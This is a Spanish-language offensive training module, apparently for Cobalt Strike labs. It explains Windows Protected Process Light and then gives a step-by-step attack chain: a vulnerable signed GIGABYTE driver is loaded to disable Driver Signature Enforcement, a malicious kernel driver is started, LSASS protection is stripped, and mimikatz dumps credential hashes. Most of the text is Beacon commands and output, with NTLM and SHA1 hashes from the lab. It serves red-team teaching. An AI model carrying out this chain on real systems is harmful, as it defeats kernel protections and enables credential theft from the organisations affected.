Protected Processes
Protected Process (PP) y Protected Process Light (PPL)
Protected Process (PP) y Protected Process Light (PPL) son mecanismos relativamente nuevos en Windows, diseñados inicialmente para la protección DRM (Digital Rights Management). La idea era permitir que media players pudieran leer Blu-Ray discs sin copiar su contenido. Esto se consigue limitando el acceso que se puede obtener a un proceso protegido (por ejemplo, sólo permitir PROCESS_QUERY_LIMITED_INFORMATION o PROCESS_TERMINATE, pero no PROCESS_VM_READ u otros accesos que permitan eludir los requisitos de DRM).
Desde entonces, la tecnología se ha ampliado para proteger otros procesos de Windows, principalmente LSASS y motores de antivirus (AV). Por ejemplo, encontrarás Access Denied cuando intentes obtener un handle con privilegios suficientes para leer la memoria de LSASS:
beacon> getuid
[*] You are ACME\bturner (admin)
beacon> mimikatz privilege::debug; sekurlsa::logonpasswords
Privilege '20' OK
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
Esto no lo hace un AV o EDR, sino el kernel de Windows. Podríamos considerarlo como "ASR con esteroides", pero los mismos bypasses no funcionarán aquí. Mi herramienta PPEnum en formato BOF muestra que LSASS es un PPL con nivel de firma (signer level) "Lsa":
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- ----
652 492 lsass.exe x64 0 NT AUTHORITY\SYSTEM
beacon> ppenum 652
[*] Running PPEnum against PID 652
Type : PsProtectedTypeProtectedLight
Signer : PsProtectedSignerLsa
La documentación sobre la estructura _PS_PROTECTED_SIGNER muestra qué signers (firmantes) son posibles. Debido a los diversos componentes en juego, hay un orden de precedencia de protección que el kernel evalúa:
- Protected Process (PP) siempre tiene prioridad sobre Protected Process Light (PPL).
- Un PPL nunca puede obtener acceso total a un PP sin importar su signer.
- Un PP puede tener acceso total a otro PP o a un PPL si el signer es igual o mayor.
- Un PPL puede tener acceso total a otro PPL si el signer es igual o mayor.
Existen bypasses a nivel de usuario (userland) para PPL, famosos como PPLDump descubierto por Clément Labro, pero van y vienen. Sin embargo, la forma garantizada de esquivar PPL es con un driver (controlador). Hay varios proyectos que pueden hacerlo, como PPLKiller, mimidrv, o puedes escribir tu propio driver personalizado. Ten en cuenta que escalar de administrador local a kernel no se considera un security boundary para Microsoft y, por ende, no se ve como vulnerabilidad “serviceable”.
Eso sí, no podrás cargar drivers que no estén legítimamente firmados a menos que tengas habilitado el Modo Test Signing en Windows. Por ejemplo, si estamos como admin en Workstation 2 e intentamos subir un driver malicioso:
Nota: Este driver se escribió en el curso Offensive Driver Development y se llama RedOctober.sys.
beacon> getuid
[*] You are ACME\bturner (admin)
beacon> cd C:\Windows\System32\drivers
beacon> upload C:\Tools\RedOctober\RedOctober.sys
Para cargar el driver, creamos y arrancamos un servicio en modo kernel. Pero veremos que no se ejecutará:
beacon> run sc create redoct type= kernel binPath= C:\Windows\System32\drivers\RedOctober.sys
[SC] CreateService SUCCESS
beacon> run sc start redoct
[SC] StartService FAILED 577:
Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an u
Bypassing DSE
Para cargar este driver, necesitamos bypassear el Driver Signature Enforcement (DSE), y para ello se requiere una primitiva de escritura arbitraria en memoria del kernel. Lo habitual es cargar un driver legítimamente firmado pero vulnerable, usarlo para deshabilitar DSE, cargar el driver malicioso, y luego reactivar DSE. El proyecto LOLDrivers contiene una gran colección de drivers que pueden servir para este propósito. En este módulo usaremos el viejo driver de GIGABYTE, gdrv.sys:
beacon> upload C:\Tools\cobaltstrike\gdrv\gdrv.sys
beacon> run sc create gdrv type= kernel binPath= C:\Windows\System32\drivers\gdrv.sys
beacon> run sc start gdrv
SERVICE_NAME: gdrv
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
Para interactuar con un driver cargado, llamamos los IOCTLs que expone en userland. Se preparó un BOF y aggressor script que reduce todo a dos comandos sencillos: disable_dse y enable_dse.
beacon> disable_dse
[+] DSE disabled
Con DSE deshabilitado, ahora podremos arrancar nuestro driver malicioso:
beacon> run sc start redoct
SERVICE_NAME: redoct
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
DSE está controlado por una región de memoria del kernel que vigila KPP (Kernel Patch Protection). Para no provocar un BSOD, se recomienda reactivar DSE cuanto antes:
beacon> enable_dse
[+] DSE enabled
Luego podemos descargar (unload) y eliminar el driver gdrv:
beacon> run sc stop gdrv
beacon> run sc delete gdrv
beacon> rm gdrv.sys
Dumping LSASS
Como los procesos protegidos son jerárquicos, hay dos formas de manejarlo:
- Quitar el nivel de protección de LSASS.
- Elevar el nivel de protección de un proceso que controlemos a uno superior al de LSASS.
Dado que mimikatz en Cobalt Strike se ejecuta vía fork & run, es más sencillo simplemente remover la protección de LSASS. Igual que con el driver de GIGABYTE, incluimos un BOF y un script en Aggressor que llama al IOCTL correcto desde el driver RedOctober. El comando es:
unprotect_process <pid>
beacon> ppenum 652
[*] Running PPEnum against PID 652
Type : PsProtectedTypeProtectedLight
Signer : PsProtectedSignerLsa
beacon> unprotect_process 652
[+] host called home, sent: 2498 bytes
beacon> ppenum 652
[*] Running PPEnum against PID 652
Type : PsProtectedTypeNone
Signer : PsProtectedSignerNone
Con la protección de LSASS desactivada, mimikatz puede extraer credenciales sin problema:
beacon> mimikatz !sekurlsa::logonpasswords
Authentication Id : 0 ; 1415530 (00000000:0015996a)
Session : RemoteInteractive from 2
User Name : bturner
Domain : ACME
Logon Server : DC
Logon Time : 5/16/2023 3:05:35 PM
SID : S-1-5-21-2006696020-36449419-3390662055-1106
msv :
[00000003] Primary
* Username : bturner
* Domain : ACME
* NTLM : 1804bfd7e057f1b37d5bba093c594d1e
* SHA1 : da4585eb8811a5a291ff1c61603b42cc59996079
* DPAPI : 12944985316c14d13757dbab27ab0f24